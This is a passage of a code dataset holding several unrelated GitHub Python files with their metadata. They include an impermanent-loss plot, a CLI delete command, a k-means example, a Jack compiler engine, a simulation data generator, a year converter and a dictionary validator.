ls='--', c='k', lw=1)\n ax.plot([px_base, px_base], [px_quote,px_quote], [0,-1], ls='--', c='k', lw=1)\n ax.plot([px_base, 0], [px_quote, px_quote], [-1,-1], ls='--', c='k', lw=1)\n\n # End values ploting\n ax.plot([px_base_f, px_base_f], [0,px_quote_f], [-1,-1], ls='--', c='gray', lw=1)\n ax.plot([px_base_f, px_base_f], [px_quote_f,px_quote_f], [iloss,-1], ls='--', c='gray', lw=1)\n ax.plot([px_base_f, 0], [px_quote_f, px_quote_f], [-1,-1], ls='--', c='gray', lw=1)\n ax.plot([px_base_f, px_base_f], [px_quote_f,ymax], [iloss,iloss], ls='--', c='gray', lw=1)\n ax.plot([px_base_f, 0], [ymax,ymax], [iloss,iloss], ls='--', c='gray', lw=1)\n \n # Plot settings\n # Colorbar only for plot_surface() method instead plot_wireframe()\n # m = cm.ScalarMappable(cmap=cm.viridis) \n # m.set_array(df_ok['impremante_loss'])\n # plt.colorbar(m, fraction=0.02, pad=0.1)\n x, y, z = (px_base, px_quote,.05)\n p = ax.scatter(x, y, z, c='k', marker='v', s=300)\n ax.set_title('Impermanent Loss 3D Surface', y=0.95)\n ax.set_xlabel(f'Price {base_token}')\n ax.set_ylabel(f'Price {quote_token}')\n ax.set_zlabel('Impremante loss')\n ax.view_init(elev=25, azim=240) # start view angle\n \n print (f\"\\nStart value USD {value:.0f}, {base_token} USD {px_base:.2f}, {quote_token} USD {px_quote:.2f}\") \n print(f\"\\nResults assuming {base_token.upper()} {base_pct_chg}%, and {quote_token.upper()} {quote_pct_chg}%\")\n print (f\"End value estimate USD {value_f:.0f}, iloss: {iloss:.2%}\")\n plt.show()\n\n return value_f , iloss","repo_name":"gauss314/defi","sub_path":"defi/defi_tools.py","file_name":"defi_tools.py","file_ext":"py","file_size_in_byte":21873,"program_lang":"python","lang":"en","doc_type":"code","stars":515,"dataset":"github-code","pt":"32"} +{"seq_id":"526664941","text":"import click\nfrom click_help_colors import HelpColorsCommand\n\nfrom riocli.config import new_v2_client\nfrom riocli.constants import Colors, Symbols\nfrom riocli.utils.spinner import with_spinner\n\n@click.command(\n 'delete',\n cls=HelpColorsCommand,\n help_headers_color=Colors.YELLOW,\n help_options_color=Colors.GREEN,\n)\n@click.option('--force', '-f', is_flag=True, default=False, help='Skip confirmation')\n@click.argument('static-route', type=str)\n@with_spinner(text=\"Deleting static route...\")\ndef delete_static_route(\n static_route: str,\n force: bool,\n spinner=None,\n) -> None:\n \"\"\"\n Deletes a static route\n \"\"\"\n with spinner.hidden():\n if not force:\n click.confirm(\n 'Deleting static route {}'.format(\n static_route), abort=True)\n\n try:\n client = new_v2_client()\n client.delete_static_route(static_route)\n spinner.text = click.style(\n 'Static Route deleted successfully ', fg=Colors.GREEN)\n spinner.green.ok(Symbols.SUCCESS)\n except Exception as e:\n spinner.text = click.style('Failed to delete static route: {}'.format(e), fg=Colors.RED)\n spinner.red.fail(Symbols.ERROR)\n raise SystemExit(1) from e\n","repo_name":"rapyuta-robotics/rapyuta-io-cli","sub_path":"riocli/static_route/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":1262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"69920963290","text":"import numpy as np\nfrom sklearn.cluster import KMeans\nimport matplotlib.pyplot as plt\n\ncolors = ['black', 'green', 'yellow']\nports = [80, 443, 8080]\npacket_size = [10000, 200000, 300000]\n\n# Create data using above features\nlisting = []\nfor i in range(10):\n data = [ports[np.random.randint(0, 3)], packet_size[np.random.randint(0, 3)]]\n listing.append(data)\n\nsamples = np.array(listing)\nkmeans = KMeans(n_clusters=3, random_state=0).fit(samples)\nprint(kmeans.labels_)\n\nplt.title('My IP Graph')\nplt.xlabel('Ports')\nplt.ylabel('Packet Size')\nlabels = kmeans.labels_\nfor l in labels:\n for i in np.where(kmeans.labels_ == l)[:][0].tolist():\n item = samples[i]\n plt.plot([item[0]], [item[1]], 'o', color=colors[l])\nplt.show()\n\n","repo_name":"roypiyush/python_project","sub_path":"ml/k_means.py","file_name":"k_means.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"19336791207","text":"from JackTokenizer import *\r\nfrom SymbolTable import SymbolTable\r\nfrom VMWriter import *\r\n\r\nop = [\"+\", \"-\", \"*\", \"/\", \"&\", \"|\", \"<\", \">\", \"=\"]\r\nunaryOp = [\"-\", \"~\"]\r\nterm = [\"int_constant\", \"string_constant\", \"true\", \"false\", \"null\", \"this\", \"identifier\"]\r\n\r\nsegment_dict = {\"field\": \"this\",\r\n \"static\": \"static\",\r\n \"var\": \"local\",\r\n \"arg\": \"argument\"}\r\n\r\n\r\nclass CompilationEngine:\r\n def __init__(self, tokenizer,outputFile):\r\n self.XMLCode = []\r\n self.CodeIndent = 0\r\n self.tokenizer = tokenizer\r\n self.symbolTable = SymbolTable()\r\n self.vmWriter = VMWriter(outputFile)\r\n self.class_name = None\r\n self.segment_local_dict = segment_dict\r\n self.while_count = 0\r\n self.if_count = 0\r\n def nextToken(self):\r\n \"advancing and retreiving the next token by Tokenizer\"\r\n self.tokenizer.advance()\r\n current_token = self.tokenizer.getCurrentToken()\r\n token_type = self.tokenizer.typeOfToken()\r\n return current_token, token_type\r\n\r\n def compileToken(self, token):\r\n current_token, token_type = self.nextToken()\r\n self.compileLine(current_token,token_type)\r\n return current_token\r\n\r\n def compileTitle(self, title_name, isEntered):\r\n self.XMLCode.append(self.writeXMLCodeTitle(title_name, isEntered))\r\n\r\n def compileLine(self,current_token, token_type):\r\n self.XMLCode.append(self.writeXMLCodeLine(current_token, token_type))\r\n\r\n def writeXMLCodeLine(self, token_to_write, type_of_token):\r\n \"\"\"writes into XML line all sorts of tokens which are not title\r\n @:param token_to_write: the current token to write\r\n @:param type_of_token: the current's token's type\r\n @:return: the XML code line\"\"\"\r\n\r\n return \" \"*self.CodeIndent + \"<\" + str(type_of_token) + \">\" + \" \" + token_to_write.lstrip() + \" \" + \"\"\r\n\r\n def writeXMLCodeTitle(self,type_of_token, isEntered):\r\n \"\"\"writes into XML line all sorts of tokens which are titles\r\n @:param isEntered: a boolean parameter implies if the current token is already opened\r\n if it is the token's first occurance isEntered== True, and False otherwise\r\n @:param type_of_token: the current's token's type\r\n @:return: the XML code line\"\"\"\r\n\r\n if isEntered == True:#if the title is opening\r\n myLine = \" \"*self.CodeIndent + \"<\" + str(type_of_token) + \">\"\r\n self.CodeIndent += 2 #indent the lines of all other tokens within the current_token's scope\r\n return myLine\r\n else:\r\n #if isEntered == False we have to close the title token\r\n self.CodeIndent -= 2\r\n myLine = \" \" * self.CodeIndent + \"\"\r\n return myLine\r\n\r\n\r\n def compileIdentifier(self,isClass = False):\r\n current_token, token_type = self.nextToken()\r\n if isClass:\r\n self.class_name = current_token # i've changed it because it was swapped\r\n\r\n self.XMLCode.append(self.writeXMLCodeLine(current_token, token_type))\r\n return current_token\r\n\r\n\r\n def compileClass(self):\r\n self.compileTitle(\"class\", True)\r\n self.compileToken(\"class\") # increnmenting the tokenizer and checking if the current token is indeed a class declaration\r\n self.compileIdentifier(True)\r\n self.compileToken(\"{\")\r\n current_token, token_type = self.nextToken()\r\n while current_token in [\"field\", \"static\"]:\r\n self.compileClassVarDeclaration(current_token, token_type)\r\n current_token, token_type = self.nextToken()\r\n\r\n while current_token in [\"constructor\",\"function\",\"method\"]:\r\n self.compilesubRoutineDec(current_token, token_type)\r\n current_token, token_type = self.nextToken()\r\n\r\n self.compileToken(\"}\")\r\n self.compileTitle(\"class\", False)\r\n return self.XMLCode\r\n\r\n def compileClassVarDeclaration(self,current_token, token_type):\r\n #self.compileTitle(\"classVarDec\",True) # first opening a new class title in XML\r\n #self.compileLine(current_token,token_type)\r\n VarKind = self.tokenizer.getCurrentToken()\r\n current_token, token_type = self.nextToken()\r\n VarType = current_token\r\n #self.compileType(current_token, token_type)\r\n VarName = self.compileIdentifier()\r\n self.symbolTable.define(VarName,VarType,VarKind)\r\n current_token, token_type = self.nextToken()\r\n while current_token == \",\": # also the validation itself so no need of compile token\r\n self.compileLine(current_token, token_type)\r\n VarName = self.compileIdentifier()\r\n self.symbolTable.define(VarName, VarType, VarKind)\r\n current_token, token_type = self.nextToken()\r\n self.compileLine(current_token, token_type)\r\n self.compileTitle(\"classVarDec\", False)\r\n\r\n def compileType(self,current_token,token_type):\r\n if current_token in [\"int\",\"char\", \"boolean\", self.class_name]:\r\n self.compileLine(current_token,token_type)\r\n else:\r\n self.compileLine(current_token, token_type)\r\n return current_token\r\n\r\n\r\n\r\n def compilesubRoutineDec(self,current_token, token_type):\r\n self.symbolTable.startSubroutine()\r\n self.if_count = 0\r\n self.while_count = 0\r\n #self.compileTitle(\"subroutineDec\", True)\r\n #self.compileLine(current_token, token_type)\r\n func_type = self.tokenizer.getCurrentToken()\r\n\r\n current_token, token_type = self.nextToken()\r\n return_type = current_token\r\n if current_token in [\"int\",\"char\", \"boolean\", self.class_name] or current_token == \"void\":\r\n self.compileLine(current_token, token_type)\r\n func_name = self.compileIdentifier()\r\n self.symbolTable.set_functionName(func_name, self.class_name)\r\n self.symbolTable.setFuncType(func_type)\r\n self.symbolTable.setReturnType(return_type)\r\n if func_type == \"method\":\r\n self.symbolTable.define(\"this\",return_type,\"arg\")\r\n self.compileToken(\"(\")\r\n self.compileParameterList()\r\n self.compileLine(\")\",\"symbol\")\r\n self.compileSubroutineBody()\r\n self.compileTitle(\"subroutineDec\", False)\r\n\r\n def compileParameterList(self):\r\n self.compileTitle(\"parameterList\", True)\r\n current_token, token_type = self.nextToken()\r\n while current_token != \")\":\r\n VarType = self.compileType(current_token, token_type)\r\n VarName = self.compileIdentifier()\r\n self.symbolTable.define(VarName,VarType,\"arg\")\r\n current_token, token_type = self.nextToken()\r\n if current_token == \",\":\r\n self.compileLine(current_token,token_type)\r\n current_token, token_type = self.nextToken()\r\n self.compileTitle(\"parameterList\", False)\r\n\r\n\r\n def compileSubroutineBody(self):\r\n #self.compileTitle(\"subroutineBody\", True)# first opening a new subroutineBody title in XML\r\n self.compileToken(\"{\")\r\n\r\n current_token = self.tokenizer.showNextToken()\r\n while current_token == \"var\" :\r\n self.compilevarDec()\r\n current_token = self.tokenizer.showNextToken()\r\n self.vmWriter.writeFunction(self.symbolTable.function_name, str(self.symbolTable.VarCount(\"var\")))\r\n # check wether the function type is method or constructor /*todo*/\r\n if self.symbolTable.function_type == \"method\":\r\n\r\n self.vmWriter.writePush(\"argument\", \"0\")\r\n self.vmWriter.writePop(\"pointer\", \"0\")\r\n\r\n if self.symbolTable.function_type == \"constructor\":\r\n #slide 6 (7:00) about constructors\r\n field_num = self.symbolTable.VarCount(\"field\")\r\n self.vmWriter.writePush(\"constant\" , str(field_num))\r\n self.vmWriter.writeCall(\"Memory.alloc\", \"1\")\r\n self.vmWriter.writePop(\"pointer\", \"0\")\r\n current_token, token_type = self.nextToken()\r\n self.compileStatements(current_token, token_type)\r\n #self.compileLine(\"}\",\"symbol\")\r\n #self.compileTitle(\"subroutineBody\", False)\r\n\r\n def compilevarDec(self):\r\n #self.compileTitle(\"varDec\", True)\r\n current_token, token_type = self.nextToken()\r\n VarKind = \"var\"\r\n current_token, token_type = self.nextToken()\r\n VarType = current_token\r\n current_token, token_type = self.nextToken()\r\n VarName = current_token\r\n self.symbolTable.define(VarName,VarType,VarKind)\r\n #self.compileLine(current_token, token_type)\r\n current_token, token_type = self.nextToken()\r\n while current_token == \",\":\r\n #self.compileLine(current_token, token_type)\r\n VarName = self.compileIdentifier()\r\n self.symbolTable.define(VarName, VarType, VarKind)\r\n current_token, token_type = self.nextToken()\r\n #self.compileLine(\";\", \"symbol\")\r\n #self.compileTitle(\"varDec\", False)\r\n\r\n def compileStatements(self,current_token, token_type):\r\n self.compileTitle(\"statements\", True)\r\n while current_token != \"}\":\r\n if current_token == \"let\":\r\n self.compileLet()\r\n elif current_token == \"if\":\r\n self.compileIf()\r\n elif current_token == \"while\":\r\n self.compileWhile()\r\n elif current_token == \"do\":\r\n self.compileDo()\r\n elif current_token == \"return\":\r\n self.compileReturn()\r\n current_token, token_type = self.nextToken()\r\n self.compileTitle(\"statements\", False)\r\n\r\n def compileLet(self):\r\n self.compileTitle(\"letStatement\", True)\r\n self.compileLine(\"let\",\"keyword\")\r\n current_token, token_type= self.nextToken()\r\n temp = current_token # saves the new local variable\r\n current_token, token_type = self.nextToken()\r\n if current_token == \"[\": # if the left side is array\r\n self.compileLine(\"[\", \"symbol\")\r\n self.compileExpression()\r\n self.compileLine(\"]\", \"symbol\")\r\n var_memory_segment = self.segment_local_dict[self.symbolTable.KindOf(temp)]#the kind of current var\r\n var_index = self.symbolTable.IndexOf(temp)\r\n self.vmWriter.writePush(var_memory_segment,str(var_index))\r\n self.vmWriter.WriteArithmetic(\"add\")#if the left side is an array - add the index to get the value\r\n self.nextToken()\r\n\r\n #self.compileLine(\"=\",\"symbol\")\r\n self.compileExpression()\r\n #self.compileLine(\";\", \"symbol\")\r\n #self.compileTitle(\"letStatement\", False)\r\n var_kind = self.symbolTable.KindOf(temp)\r\n var_type = self.symbolTable.TypeOf(temp)\r\n index_segment = self.symbolTable.IndexOf(temp)\r\n kind_seg = self.segment_local_dict[var_kind]\r\n if current_token == \"[\" and kind_seg in [\"local\",\"argument\"]:\r\n #slide 8 (20:00) !!!\r\n self.vmWriter.writePop(\"temp\", \"0\")\r\n self.vmWriter.writePop(\"pointer\", \"1\")\r\n self.vmWriter.writePush(\"temp\", \"0\")\r\n self.vmWriter.writePop(\"that\",\"0\")\r\n else:\r\n #if the first var was not an Arrayso just pop the value from the expression to it\r\n self.vmWriter.writePop(kind_seg,str(index_segment))\r\n\r\n def compileIf(self):\r\n #self.compileTitle(\"ifStatement\", True)\r\n #self.compileLine(\"if\", \"keyword\")\r\n self.compileToken(\"(\")\r\n self.compileExpression()\r\n self.compileLine(\")\", \"symbol\")\r\n\r\n if_true_label = \"TRUE\" + str(self.if_count)#define true and false labels!!\r\n if_false_label = \"FALSE\" + str(self.if_count)\r\n end_if_label = \"END\" + str(self.if_count)\r\n self.if_count += 1\r\n self.vmWriter.WriteIf(if_true_label)# after pushing to stack the expression write labels\r\n self.vmWriter.WriteGoto(if_false_label)\r\n\r\n self.compileToken(\"{\")\r\n self.vmWriter.WriteLabel(if_true_label) # put the TRUE_LABEL at the begining of the if clause\r\n current_token, token_type = self.nextToken()\r\n self.compileStatements(current_token, token_type)\r\n #self.compileLine(\"}\",\"symbol\")\r\n\r\n #check if there is \"else\" statement\r\n temp = self.tokenizer.showNextToken()\r\n if temp == \"else\":\r\n #put the END_LABEL and put the False_label If the condionn not true\r\n self.vmWriter.WriteGoto(end_if_label)\r\n self.vmWriter.WriteLabel(if_false_label)\r\n current_token, token_type = self.nextToken()\r\n #self.compileLine(\"else\",\"keyword\")\r\n self.compileToken(\"{\")\r\n current_token, token_type = self.nextToken()\r\n self.compileStatements(current_token, token_type)\r\n self.vmWriter.WriteLabel(end_if_label)\r\n #self.compileLine(\"}\",\"symbol\")\r\n else:\r\n self.vmWriter.WriteLabel(if_false_label)\r\n #self.compileTitle(\"ifStatement\", False)\r\n\r\n def compileWhile(self):\r\n #self.compileTitle(\"whileStatement\", True)\r\n #self.compileLine(\"while\", \"keyword\")\r\n while_start_label = \"STRAT\" + str(self.while_count)# defining astart and stop labels!!\r\n while_end_label = \"END\" + str(self.while_count)\r\n self.while_count += 1\r\n\r\n self.vmWriter.WriteLabel(while_start_label)\r\n self.compileToken(\"(\")\r\n self.compileExpression()\r\n #self.compileLine(\")\",\"symbol\")\r\n #negating the boolean expression and check whether to enter or not\r\n self.vmWriter.WriteArithmetic(\"not\")\r\n self.vmWriter.WriteIf(while_end_label)\r\n self.compileToken(\"{\")\r\n current_token, token_type = self.nextToken()\r\n self.compileStatements(current_token, token_type)\r\n self.vmWriter.WriteGoto(while_start_label)\r\n self.vmWriter.WriteLabel(while_end_label)\r\n #self.compileLine(\"}\", \"symbol\")\r\n #self.compileTitle(\"whileStatement\", False)\r\n\r\n def compileDo(self):\r\n #self.compileTitle(\"doStatement\", True)\r\n #self.compileLine(\"do\", \"keyword\")\r\n self.compileSubroutineCall()\r\n self.vmWriter.writePop(\"temp\", \"0\")\r\n self.nextToken()\r\n #self.nextToken()\r\n #self.compileLine(\";\",\"symbol\")\r\n #self.compileTitle(\"doStatement\", False)\r\n\r\n def compileReturn(self):\r\n #self.compileTitle(\"returnStatement\", True)\r\n #self.compileLine(\"return\", \"keyword\")\r\n if self.symbolTable.return_type == \"void\":\r\n self.vmWriter.writePush(\"constant\", \"0\") # always push 0 to the stack!!\r\n temp = self.tokenizer.showNextToken()\r\n while not temp == \";\":\r\n self.nextToken()\r\n temp = self.tokenizer.showNextToken()\r\n else:\r\n temp = self.tokenizer.showNextToken()\r\n if temp != \";\":\r\n self.compileExpression()\r\n else:\r\n self.vmWriter.writePush(\"constant\", \"0\")\r\n self.vmWriter.writeReturn()\r\n\r\n #self.compileLine(\";\",\"symbol\")\r\n #self.compileTitle(\"returnStatement\", False)\r\n\r\n def compileExpression(self):\r\n #self.compileTitle(\"expression\", True)\r\n self.compileTerm()\r\n current_token, token_type = self.nextToken()\r\n while current_token in op:\r\n self.compileLine(current_token, token_type)\r\n self.compileTerm()\r\n self.vmWriter.WriteArithmetic(current_token) # after two expression/terms we will write arithmetic\r\n current_token, token_type = self.nextToken()\r\n self.compileTitle(\"expression\", False)\r\n\r\n def compileExpressionList(self):\r\n num_of_args = 0\r\n self.compileTitle(\"expressionList\", True)\r\n current_token = self.tokenizer.showNextToken()\r\n if current_token != \")\":\r\n self.compileExpression()\r\n num_of_args +=1 # add the first parameter found inside paranthesis( )\r\n while (self.tokenizer.getCurrentToken() == \",\"):\r\n num_of_args += 1\r\n self.compileLine(\",\", \"symbol\")\r\n self.compileExpression()\r\n if current_token == \")\":\r\n self.nextToken()\r\n self.compileTitle(\"expressionList\", False)\r\n return num_of_args\r\n\r\n def compileTerm(self):\r\n #self.compileTitle(\"term\", True)\r\n current_token, token_type = self.nextToken()\r\n kind = self.symbolTable.KindOf(current_token)\r\n temp = self.tokenizer.showNextToken()\r\n if token_type == \"int_constant\":\r\n # self.compileLine(current_token,\"integerConstant\")\r\n self.vmWriter.writePush(\"constant\",str(current_token))\r\n\r\n elif kind == \"var\" and temp != \"[\" and temp != \".\":\r\n self.vmWriter.writePush(\"local\", str(self.symbolTable.IndexOf(current_token)))\r\n\r\n elif kind == \"arg\" and current_token != \"this\":\r\n self.vmWriter.writePush(\"argument\",str(self.symbolTable.IndexOf(current_token)))\r\n\r\n elif token_type == \"string_constant\":\r\n #self.compileLine(current_token.strip(\"\\\"\"),\"stringConstant\")\r\n string_constant = current_token.strip(\"\\\"\")\r\n string_lenth = len(string_constant)\r\n self.vmWriter.writePush(\"constant\", str(string_lenth))\r\n self.vmWriter.writeCall(\"String.new\", 1)\r\n #now getting the numerical value of each char in the string and append them\r\n for char in string_constant:\r\n self.vmWriter.writePush(\"constant\", str(ord(char)))\r\n self.vmWriter.writeCall(\"String.appendChar\", \"2\")\r\n\r\n elif kind == \"static\" and temp != \".\" and temp != \"[\":\r\n self.vmWriter.writePush(\"static\", str(self.symbolTable.IndexOf(current_token)))\r\n\r\n elif kind == \"field\" and temp != \".\" and temp != \"]\":\r\n self.vmWriter.writePush(\"this\", str(self.symbolTable.IndexOf(current_token)))\r\n\r\n elif current_token in [\"true\", \"false\", \"null\", \"this\"]: # not the kind it only means that the tokens itself is one of them\r\n #self.compileLine(current_token,token_type) #its a keyword!\r\n if current_token == \"true\":\r\n self.vmWriter.writePush(\"constant\", \"0\")\r\n self.vmWriter.WriteArithmetic(\"not\")\r\n elif current_token == \"this\":\r\n self.vmWriter.writePush(\"pointer\", \"0\")\r\n else: # its false or null\r\n self.vmWriter.writePush(\"constant\", \"0\")\r\n # if its ( expression )\r\n elif current_token == \"(\":\r\n self.compileLine(current_token, token_type)\r\n self.compileExpression()\r\n self.compileLine(\")\", \"symbol\")\r\n #if its Unary Op\r\n elif current_token in [\"~\", \"-\"]:\r\n self.compileLine(current_token,token_type)\r\n self.compileTerm()\r\n if current_token == \"~\":\r\n self.vmWriter.WriteArithmetic(\"not\")\r\n else:\r\n self.vmWriter.WriteArithmetic(\"neg\")\r\n #if its varName [ expression ]\r\n elif token_type == \"identifier\" and temp != \".\":# maybe add and temp != \";\" ????????\r\n self.compileLine(current_token, token_type)\r\n if temp == \"[\":\r\n self.compileLine(temp,\"symbol\")\r\n var_name = current_token\r\n current_token, token_type = self.nextToken()\r\n self.compileExpression()\r\n self.compileLine(\"]\", \"symbol\")\r\n var_memory_segment = self.segment_local_dict[self.symbolTable.KindOf(var_name)] # the kind of current var\r\n var_index = self.symbolTable.IndexOf(var_name)\r\n self.vmWriter.writePush(var_memory_segment, str(var_index))\r\n self.vmWriter.WriteArithmetic(\"add\") # if the left side is an array\r\n self.vmWriter.writePop(\"pointer\", \"1\")\r\n self.vmWriter.writePush(\"that\", \"0\")\r\n\r\n\r\n # subroutine\r\n elif token_type == \"identifier\" and temp in [\"(\" , \".\"]:\r\n self.tokenizer.previousToken()\r\n self.compileSubroutineCall()\r\n # if its a var_name\r\n elif token_type == \"identifier\" and not temp in [\"[\", \"(\", \".\"]:\r\n var_name = current_token\r\n var_memory_segment = self.segment_local_dict[self.symbolTable.KindOf(var_name)] # the kind of current var\r\n var_index = self.symbolTable.IndexOf(var_name)\r\n self.vmWriter.writePush(var_memory_segment, str(var_index))\r\n self.compileTitle(\"term\", False)\r\n\r\n def compileSubroutineCall(self):\r\n num_of_args = 0\r\n func_name = self.compileIdentifier() # func_name first contain the class name\r\n current_token, token_type = self.nextToken()\r\n if current_token == \".\":\r\n var_kind = self.symbolTable.KindOf(func_name)\r\n var_index = self.symbolTable.IndexOf(func_name)\r\n var_type = self.symbolTable.TypeOf(func_name)\r\n if var_type != False: # enter only if it is a method called by an object\r\n num_of_args += 1 # num of arguments of a method starts from 1 because of the \"self\" argument\r\n func_name = var_type\r\n mem_segment = self.segment_local_dict[var_kind]\r\n self.vmWriter.writePush(mem_segment,str(var_index)) # push memory segment to stack be calling function\r\n func_name += \".\"\r\n func_name += self.compileIdentifier()\r\n #self.compileLine(\".\", \"symbol\")\r\n self.compileToken(\"(\")\r\n num_of_args += self.compileExpressionList()\r\n self.compileLine(\")\",\"symbol\")\r\n self.vmWriter.writeCall(func_name, str(num_of_args))\r\n\r\n else:\r\n self.vmWriter.writePush(\"pointer\", \"0\")\r\n num_of_args +=1\r\n func_name = self.class_name + \".\" + func_name\r\n self.compileLine(\"(\",\"symbol\")\r\n num_of_args += self.compileExpressionList()\r\n self.compileLine(\")\", \"symbol\")\r\n self.vmWriter.writeCall(func_name, str(num_of_args))\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n","repo_name":"Harelyac/Python-PROJECTS","sub_path":"Compiler/CompilationEngine.py","file_name":"CompilationEngine.py","file_ext":"py","file_size_in_byte":22305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40185017679","text":"import argparse\nimport json\nimport os\nimport pickle\n\nimport numpy as np\nimport torch\n\nimport spherical_sampling\nimport train\nfrom model import Model\nfrom sim import PybulletSim\nimport ipdb\nimport tqdm\nfrom tqdm import trange\n\n\nparser = argparse.ArgumentParser()\n\n# global\nparser.add_argument('--checkpoint', default='pretrained/umpnet.pth', type=str, help='path to the checkpoint')\nparser.add_argument('--mode', default='manipulation', type=str, choices=['exploration', 'manipulation'], help='type of test mode')\nparser.add_argument('--seed', default=0, type=int, help='random seed of pytorch and numpy')\n\n# model\nparser.add_argument('--model_type', default='sgn_mag', type=str, choices=['sgn', 'mag', 'sgn_mag'], help='model_type')\n\n# environment\nparser.add_argument('--num_direction', default=64, type=int, help='number of directions')\nparser.add_argument('--no_cem', action='store_true', help='without cem')\nparser.add_argument('--action_distance', default=0.18, type=float, help='dragging distance in each interaction')\n\n\nstep_num_dict = {\n 'Refrigerator': 12,\n 'FoldingChair': 8,\n 'Laptop': 12,\n 'Stapler': 15,\n 'TrashCan': 9,\n 'Microwave': 8,\n 'Toilet': 7,\n 'Window': 6,\n 'StorageFurniture': 9,\n 'Switch': 7,\n 'Kettle': 3,\n 'Toy': 10,\n 'Box': 10,\n 'Phone': 12,\n 'Dishwasher': 10,\n 'Safe': 10,\n 'Oven': 9,\n 'WashingMachine': 9,\n 'Table': 7,\n 'KitchenPot': 3,\n 'Bucket': 13,\n 'Door': 10\n}\n\n\ndef calc_novel_state_ratio(visited):\n visited = np.sort(visited)\n last_val = -1000000 # -inf\n cnt = 0\n for val in visited:\n if val - last_val > 0.15:\n cnt += 1\n last_val = val\n ratio = cnt / len(visited)\n \n return ratio\n\n\ndef main():\n args = parser.parse_args()\n\n mobility_path = 'mobility_dataset'\n split_file = 'split-full.json' #\n split_meta = json.load(open(os.path.join(mobility_path, split_file), 'r'))\n\n pool_list = list()\n for category_type in ['train', 'test']: #, 'test'\n for category_name in split_meta[category_type].keys():\n if category_name == 'Kettle':\n instance_type = 'train' # 'train'\n pool_list.append((category_type, category_name, instance_type))\n \n for category_type, category_name, instance_type in pool_list:\n data_gen(args, category_type, category_name, instance_type, split_meta)\n\ndef data_gen(args, category_type, category_name, instance_type, split_meta):\n print(f'==> run test: {args.mode} - {category_name} - {instance_type}')\n\n sim = PybulletSim(True, args.action_distance)\n max_step_num = step_num_dict[category_name]\n\n # test data info\n test_data_path = os.path.join('test_data', args.mode, category_name, instance_type)\n test_num = 100\n \n print('***********start cat:{}'.format(category_name))\n \n if instance_type == 'test':\n for id in trange(test_num):\n # Reset random seeds\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n \n scene_state = pickle.load(open(os.path.join(test_data_path, f'{id}.pkl'), 'rb'))\n \n out_dir = 'bullet_mobility_data_test/{}/{}'.format(category_name, id)\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n observation = sim.reset(scene_state=scene_state, save_data=True, out_dir=out_dir)\n else:\n for instance_id in tqdm.tqdm(split_meta[category_type][category_name][instance_type]):\n # Reset random seeds\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n \n sim.reset(scene_state=None, \n category_type=category_type, \n instance_type=instance_type,\n category_name=category_name,\n instance_id=instance_id)\n \n out_dir = 'bullet_mobility_data/{}/{}'.format(category_name, instance_id)\n if not os.path.exists(out_dir):\n os.makedirs(out_dir)\n\n sim.change_state(out_dir)\n\n\nif __name__=='__main__':\n main()","repo_name":"zhongcl-thu/3D-Implicit-Transporter","sub_path":"manipulation/util/data_generation.py","file_name":"data_generation.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"31"} +{"seq_id":"72811121369","text":"# แปลง ค.ส. เป็น พ.ศ.\n# แปลง พ.ศ. เป็น ค.ศ.\nprint(\"ต้องการเปลี่ยน ค.ศ.เป็น พ.ศ. กด 1 \")\nprint(\"ต้องการเปลี่ยน พ.ศ.เป็น ค.ศ. กด 2 \")\nx = int(input(\"กรุณาเลือก : \"))\nif x==1 or x==2 :\n if x == 1 :\n year = int(input(\"ป้อนค.ศ. : \"))\n print(\"ค.ศ.\", year ,\"ตรงกับพ.ศ. :\", year+543)\n if x == 2 :\n year = int(input(\"ป้อนพ.ศ. : \"))\n print(\"พ.ศ.\", year ,\"ตรงกับค.ศ. :\", year-543) ","repo_name":"aofattaporn/practice-Python","sub_path":"Ep21.Assignment5.py","file_name":"Ep21.Assignment5.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"th","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36155647675","text":"\"\"\"\nGoal: validate one dictionary structure against a template dictionary\ndef validate(data, template):\n implement\n and return True/False\n in the case of False, return a string describing\n the first error encountered\n in the case of True, string can be empty\n return state, error\n\"\"\"\nfrom copy import deepcopy\n\n\ndef validate(data, template):\n # Step 1: Retrieve all keys of template\n template_keys = template.keys()\n # Step 2: Check data key existed as in template\n data_keys = data.keys()\n difference = template_keys - data_keys\n if difference:\n raise KeyError(f'Missing key {difference}')\n for k, v in data.items():\n if isinstance(v, dict):\n validate(v, template[k])\n elif not isinstance(v, template[k]):\n if isinstance(template[k], str):\n raise ValueError(f'Value of key {k} must be a string')\n else:\n raise ValueError(f'Value of key {k} must be an integer')\n return True, ''\n\n\ntemplate = {\n 'user_id': int,\n 'name': {\n 'first': str,\n 'last': str\n },\n 'bio': {\n 'dob': {\n 'year': int,\n 'month': int,\n 'day': int\n },\n 'birthplace': {\n 'country': str,\n 'city': str\n }\n }\n}\n\ndata_good = {\n 'user_id': 100,\n 'name': {\n 'first': 'John',\n 'last': 'Cleese'\n },\n 'bio': {\n 'dob': {\n 'year': 1939,\n 'month': 11,\n 'day': 27\n },\n 'birthplace': {\n 'country': 'United Kingdom',\n 'city': 'Weston-super-Mare'\n }\n }\n}\n\ndata_bad_missing_key = deepcopy(data_good)\ndel data_bad_missing_key['bio']['birthplace']['city']\n\ndata_bad_wrong_type = deepcopy(data_good)\ndata_bad_wrong_type['bio']['dob']['month'] = 'May'\n\n# if validate(data_good, template):\n# print('pass')\n#\n# if validate(data_bad_missing_key, template):\n# print('pass')\n\nif validate(data_bad_wrong_type, template):\n print('pass')\n","repo_name":"boconlonton/python-deep-dive","sub_path":"part-3/2-sets/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"27364488355","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path(\n 